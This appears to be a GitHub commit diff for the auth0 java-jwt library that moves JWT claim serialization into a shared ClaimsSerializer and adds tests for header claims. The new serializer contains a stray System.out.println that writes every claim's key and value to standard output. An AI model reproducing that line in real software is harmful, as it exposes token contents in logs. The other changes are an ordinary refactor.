-        this.claims = claims == null ? new HashMap<String, Object>() : claims;
+    protected ClaimsHolder(Map<String, Object> claims) {
+        this.claims = claims == null ? new HashMap<>() : claims;
     }
 
     Map<String, Object> getClaims() {u}(jZ  (c56c16e985d13e5c92deb7430061bb20239ac78bj[  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javaj[  addedj[  KWj[  K j[  KWj[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  Xo  @@ -0,0 +1,87 @@
+package com.auth0.jwt.impl;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.databind.SerializerProvider;
+import com.fasterxml.jackson.databind.ser.std.StdSerializer;
+
+import java.io.IOException;
+import java.time.Instant;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Custom serializer used to write the resulting JWT.
+ *
+ * @param <T> the type this serializer operates on.
+ */
+public class ClaimsSerializer<T extends ClaimsHolder> extends StdSerializer<T> {
+
+    public ClaimsSerializer(Class<T> t) {
+        super(t);
+    }
+
+    @Override
+    public void serialize(T holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
+        gen.writeStartObject();
+        holder.getClaims().forEach((key, val) -> System.out.println(key + ": " + val));
+        for (Map.Entry<String, Object> entry : holder.getClaims().entrySet()) {
+            writeClaim(entry, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    /**
+     * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
+     * to provide use-case specific serialization. Implementors who override this method must write the field name and the
+     * field value.
+     *
+     * @param entry The entry that corresponds to the JSON field to write
+     * @param gen The {@code JsonGenerator} to use
+     * @throws IOException
+     */
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        gen.writeFieldName(entry.getKey());
+        handleSerialization(entry.getValue(), gen);
+    }
+
+    private static void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) {
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private static void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private static void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
+    private static long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
+    private static long dateToSeconds(Date date) {
+        return date.getTime() / 1000;
+    }
+}u}(jZ  (9b480116d0c82784e9419fb51c8357ce62de9cbbj[  <lib/src/main/java/com/auth0/jwt/impl/HeaderClaimsHolder.javaj[  addedj[  Kj[  K j[  Kj[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X#  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the header claims when serializing a JWT.
+ */
+public final class HeaderClaimsHolder extends ClaimsHolder {
+    public HeaderClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jZ  (5c7cf0fc977f9c153c06c3b01cd3f5fa92aca37ej[  :lib/src/main/java/com/auth0/jwt/impl/HeaderSerializer.javaj[  addedj[  K
j[  K j[  K
j[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X#  @@ -0,0 +1,10 @@
+package com.auth0.jwt.impl;
+
+/**
+ * Responsible for serializing a JWT's header representation to JSON.
+ */
+public class HeaderSerializer extends ClaimsSerializer<HeaderClaimsHolder> {
+    public HeaderSerializer() {
+        super(HeaderClaimsHolder.class);
+    }
+}u}(jZ  (7055a2ce73eb4839bd82a168869937f033daa92ej[  =lib/src/main/java/com/auth0/jwt/impl/PayloadClaimsHolder.javaj[  addedj[  Kj[  K j[  Kj[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X&  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the payload claims when serializing a JWT.
+ */
+public final class PayloadClaimsHolder extends ClaimsHolder {
+    public PayloadClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jZ  (497a3a947f74f7b98485af58256cad5482922372j[  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj[  modifiedj[  Kj[  KDj[  KUj[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  Xk  @@ -1,12 +1,12 @@
 package com.auth0.jwt.impl;
 
 import com.fasterxml.jackson.core.JsonGenerator;
-import com.fasterxml.jackson.databind.SerializerProvider;
-import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.time.Instant;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
@@ -15,32 +15,26 @@
  * <p>
  * This class is thread-safe.
  */
-public class PayloadSerializer extends StdSerializer<ClaimsHolder> {
-
+public class PayloadSerializer extends ClaimsSerializer<PayloadClaimsHolder> {
     public PayloadSerializer() {
-        this(null);
-    }
-
-    private PayloadSerializer(Class<ClaimsHolder> t) {
-        super(t);
+        super(PayloadClaimsHolder.class);
     }
 
     @Override
-    public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
-
-        gen.writeStartObject();
-        for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
-                writeAudience(gen, e);
-            } else {
-                gen.writeFieldName(e.getKey());
-                handleSerialization(e.getValue(), gen);
-            }
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        if (PublicClaims.AUDIENCE.equals(entry.getKey())) {
+            writeAudience(gen, entry);
+        } else {
+            super.writeClaim(entry, gen);
         }
-
-        gen.writeEndObject();
     }
 
+    /**
+     * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
+     * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
+     */
+
+    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());
@@ -70,49 +64,4 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
             }
         }
     }
-
-    /**
-     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
-     * @param value the object to serialize
-     * @param gen the JsonGenerator to use for JSON serialization
-     */
-    private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) {
-            gen.writeNumber(dateToSeconds((Date) value));
-        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
-            gen.writeNumber(instantToSeconds((Instant) value));
-        } else if (value instanceof Map) {
-            serializeMap((Map<?, ?>) value, gen);
-        } else if (value instanceof List) {
-            serializeList((List<?>) value, gen);
-        } else {
-            gen.writeObject(value);
-        }
-    }
-
-    private void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
-        gen.writeStartObject();
-        for (Map.Entry<?, ?> entry : map.entrySet()) {
-            gen.writeFieldName((String) entry.getKey());
-            Object value = entry.getValue();
-            handleSerialization(value, gen);
-        }
-        gen.writeEndObject();
-    }
-
-    private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
-        gen.writeStartArray();
-        for (Object entry : list) {
-            handleSerialization(entry, gen);
-        }
-        gen.writeEndArray();
-    }
-
-    private long instantToSeconds(Instant instant) {
-        return instant.getEpochSecond();
-    }
-
-    private long dateToSeconds(Date date) {
-        return date.getTime() / 1000;
-    }
 }u}(jZ  (96976166e1ecc4be2f65818a8ef155b4256c79bcj[  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj[  modifiedj[  K"j[  Kj[  K(j[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X  @@ -5,7 +5,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -16,8 +15,8 @@
 import java.time.Instant;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -39,19 +38,48 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
                 .sign(null);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldAddHeaderClaim() {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put("asd", 123);
+        Date date = new Date(123000);
+        Instant instant = date.toInstant();
+
+        List<Object> list = Arrays.asList(date, instant);
+        Map<String, Object> map = new HashMap<>();
+        map.put("date", date);
+        map.put("instant", instant);
+
+        List<Object> expectedSerializedList = Arrays.asList(date.getTime() / 1000, instant.getEpochSecond());
+        Map<String, Object> expectedSerializedMap = new HashMap<>();
+        expectedSerializedMap.put("date", date.getTime() / 1000);
+        expectedSerializedMap.put("instant", instant.getEpochSecond());
+
+        Map<String, Object> header = new HashMap<>();
+        header.put("string", "string");
+        header.put("int", 42);
+        header.put("long", 4200000000L);
+        header.put("double", 123.123);
+        header.put("bool", true);
+        header.put("date", date);
+        header.put("instant", instant);
+        header.put("list", list);
+        header.put("map", map);
+
         String signed = JWTCreator.init()
                 .withHeader(header)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("asd", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("string", "string"));
+        assertThat(headerJson, JsonMatcher.hasEntry("int", 42));
+        assertThat(headerJson, JsonMatcher.hasEntry("long", 4200000000L));
+        assertThat(headerJson, JsonMatcher.hasEntry("double", 123.123));
+        assertThat(headerJson, JsonMatcher.hasEntry("bool", true));
+        assertThat(headerJson, JsonMatcher.hasEntry("date", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("instant", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("list", expectedSerializedList));
+        assertThat(headerJson, JsonMatcher.hasEntry("map", expectedSerializedMap));
     }
 
     @Testu}(jZ  (32db703e1de332e90f9234ff90c99c9cacf6b831j[  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj[  modifiedj[  Kj[  K j[  Kj[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X  @@ -15,6 +15,7 @@
 import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
+import java.util.List;
 import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -347,6 +348,35 @@ public void shouldSerializeAndDeserialize() throws Exception {
                 is(equalTo(deserializedJwt.getClaims().get("extraClaim").asString())));
     }
 
+    @Test
+    public void shouldDecodeHeaderClaims() {
+        String jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImRhdGUiOjE2NDczNTgzMjUsInN0cmluZyI6InN0cmluZyIsImJvb2wiOnRydWUsImRvdWJsZSI6MTIzLjEyMywibGlzdCI6WzE2NDczNTgzMjVdLCJtYXAiOnsiZGF0ZSI6MTY0NzM1ODMyNSwiaW5zdGFudCI6MTY0NzM1ODMyNX0sImludCI6NDIsImxvbmciOjQyMDAwMDAwMDAsImluc3RhbnQiOjE2NDczNTgzMjV9.eyJpYXQiOjE2NDczNjA4ODF9.S2nZDM03ZDvLMeJLWOIqWZ9kmYHZUueyQiIZCCjYNL8";
+
+        Instant expectedInstant = Instant.ofEpochSecond(1647358325);
+        Date expectedDate = Date.from(expectedInstant);
+
+        DecodedJWT decoded = JWT.decode(jwt);
+        assertThat(decoded, is(notNullValue()));
+        assertThat(decoded.getHeaderClaim("date").asDate(), is(expectedDate));
+        assertThat(decoded.getHeaderClaim("instant").asInstant(), is(expectedInstant));
+        assertThat(decoded.getHeaderClaim("string").asString(), is("string"));
+        assertThat(decoded.getHeaderClaim("bool").asBoolean(), is(true));
+        assertThat(decoded.getHeaderClaim("double").asDouble(), is(123.123));
+        assertThat(decoded.getHeaderClaim("int").asInt(), is(42));
+        assertThat(decoded.getHeaderClaim("long").asLong(), is(4200000000L));
+
+        Map<String, Object> headerMap = decoded.getHeaderClaim("map").asMap();
+        assertThat(headerMap, is(notNullValue()));
+        assertThat(headerMap.size(), is(2));
+        assertThat(headerMap, hasEntry("date", 1647358325));
+        assertThat(headerMap, hasEntry("instant", 1647358325));
+
+        List<Object> headerList = decoded.getHeaderClaim("list").asList(Object.class);
+        assertThat(headerList, is(notNullValue()));
+        assertThat(headerList.size(), is(1));
+        assertThat(headerList, contains(1647358325));
+    }
+
     //Helper Methods
 
     private DecodedJWT customJWT(String jsonHeader, String jsonPayload, String signature) {u}(jZ  (2f053830821b194992e531d33c8203bb88338603j[  Alib/src/test/java/com/auth0/jwt/impl/PayloadClaimsHolderTest.javaj[  renamedj[  Kj[  Kj[  K	j[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolderTest.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  X  @@ -9,23 +9,22 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 
-public class ClaimsHolderTest {
+public class PayloadClaimsHolderTest {
 
-    @SuppressWarnings("RedundantCast")
     @Test
     public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        ClaimsHolder holder = new PayloadClaimsHolder(claims);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));
-        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", (Object) "auth0")));
+        assertThat(holder.getClaims(), is(IsMapContaining.hasEntry("iss", "auth0")));
     }
 
     @Test
     public void shouldGetNotNullClaims() {
-        ClaimsHolder holder = new ClaimsHolder(null);
+        ClaimsHolder holder = new PayloadClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));
         assertThat(holder.getClaims(), is(instanceOf(Map.class)));previous_filename:lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javau}(jZ  (45761de0de14de2d9ceffddc396daf599d2c544ej[  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj[  modifiedj[  Kj[  Kj[  K<j[  https://github.com/auth0/java-jwt/blob/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj[  https://github.com/auth0/java-jwt/raw/8f597b115940b492ccd19215d1879c33518feaf2/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj [  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=8f597b115940b492ccd19215d1879c33518feaf2j"[  Xy.  @@ -11,8 +11,8 @@
 import java.io.StringWriter;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 
 public class PayloadSerializerTest {
 
@@ -31,10 +31,9 @@ public void setUp() throws Exception {
         serializerProvider = mapper.getSerializerProvider();
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldSerializeEmptyMap() throws Exception {
-        ClaimsHolder holder = new ClaimsHolder(new HashMap<String, Object>());
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(new HashMap<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -43,7 +42,7 @@ public void shouldSerializeEmptyMap() throws Exception {
 
     @Test
     public void shouldSerializeStringAudienceAsString() throws Exception {
-        ClaimsHolder holder = holderFor("aud", "auth0");
+        PayloadClaimsHolder holder = holderFor("aud", "auth0");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -52,7 +51,7 @@ public void shouldSerializeStringAudienceAsString() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -61,7 +60,7 @@ public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -70,7 +69,7 @@ public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSkipSerializationOnEmptyAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[0]);
+        PayloadClaimsHolder holder = holderFor("aud", new String[0]);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -79,7 +78,7 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -88,7 +87,7 @@ public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -97,7 +96,7 @@ public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Except
 
     @Test
     public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        PayloadClaimsHolder holder = holderFor("aud", new ArrayList<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -106,7 +105,7 @@ public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -115,7 +114,7 @@ public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -124,7 +123,7 @@ public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", 4);
+        PayloadClaimsHolder holder = holderFor("aud", 4);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -133,7 +132,7 @@ public void shouldSkipNonStringsOnAudience() throws Exception {
 
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("nbf", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("nbf", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -142,7 +141,7 @@ public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("iat", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("iat", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -151,7 +150,7 @@ public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("exp", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("exp", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -160,7 +159,7 @@ public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeCustomDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -171,7 +170,7 @@ public void shouldSerializeCustomDateInSeconds() throws Exception {
     public void shouldSerializeDatesUsingLong() throws Exception {
         long secs = Integer.MAX_VALUE + 10000L;
         Date date = new Date(secs * 1000L);
-        Map<String, Object> claims = new HashMap<String, Object>();
+        Map<String, Object> claims = new HashMap<>();
         claims.put("iat", date);
         claims.put("nbf", date);
         claims.put("exp", date);
@@ -187,7 +186,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
         nestedInList.add(Collections.singletonMap("nested", date));
         claims.put("nestedInList", nestedInList);
 
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -206,7 +205,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
 
     @Test
     public void shouldSerializeStrings() throws Exception {
-        ClaimsHolder holder = holderFor("name", "Auth0 Inc");
+        PayloadClaimsHolder holder = holderFor("name", "Auth0 Inc");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -215,7 +214,7 @@ public void shouldSerializeStrings() throws Exception {
 
     @Test
     public void shouldSerializeIntegers() throws Exception {
-        ClaimsHolder holder = holderFor("number", 12345);
+        PayloadClaimsHolder holder = holderFor("number", 12345);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -224,7 +223,7 @@ public void shouldSerializeIntegers() throws Exception {
 
     @Test
     public void shouldSerializeDoubles() throws Exception {
-        ClaimsHolder holder = holderFor("fraction", 23.45);
+        PayloadClaimsHolder holder = holderFor("fraction", 23.45);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -233,7 +232,7 @@ public void shouldSerializeDoubles() throws Exception {
 
     @Test
     public void shouldSerializeBooleans() throws Exception {
-        ClaimsHolder holder = holderFor("pro", true);
+        PayloadClaimsHolder holder = holderFor("pro", true);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -242,7 +241,7 @@ public void shouldSerializeBooleans() throws Exception {
 
     @Test
     public void shouldSerializeNulls() throws Exception {
-        ClaimsHolder holder = holderFor("id", null);
+        PayloadClaimsHolder holder = holderFor("id", null);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -253,7 +252,7 @@ public void shouldSerializeNulls() throws Exception {
     public void shouldSerializeCustomArrayOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
+        PayloadClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -264,7 +263,7 @@ public void shouldSerializeCustomArrayOfObject() throws Exception {
     public void shouldSerializeCustomListOfObject() throws Exception {
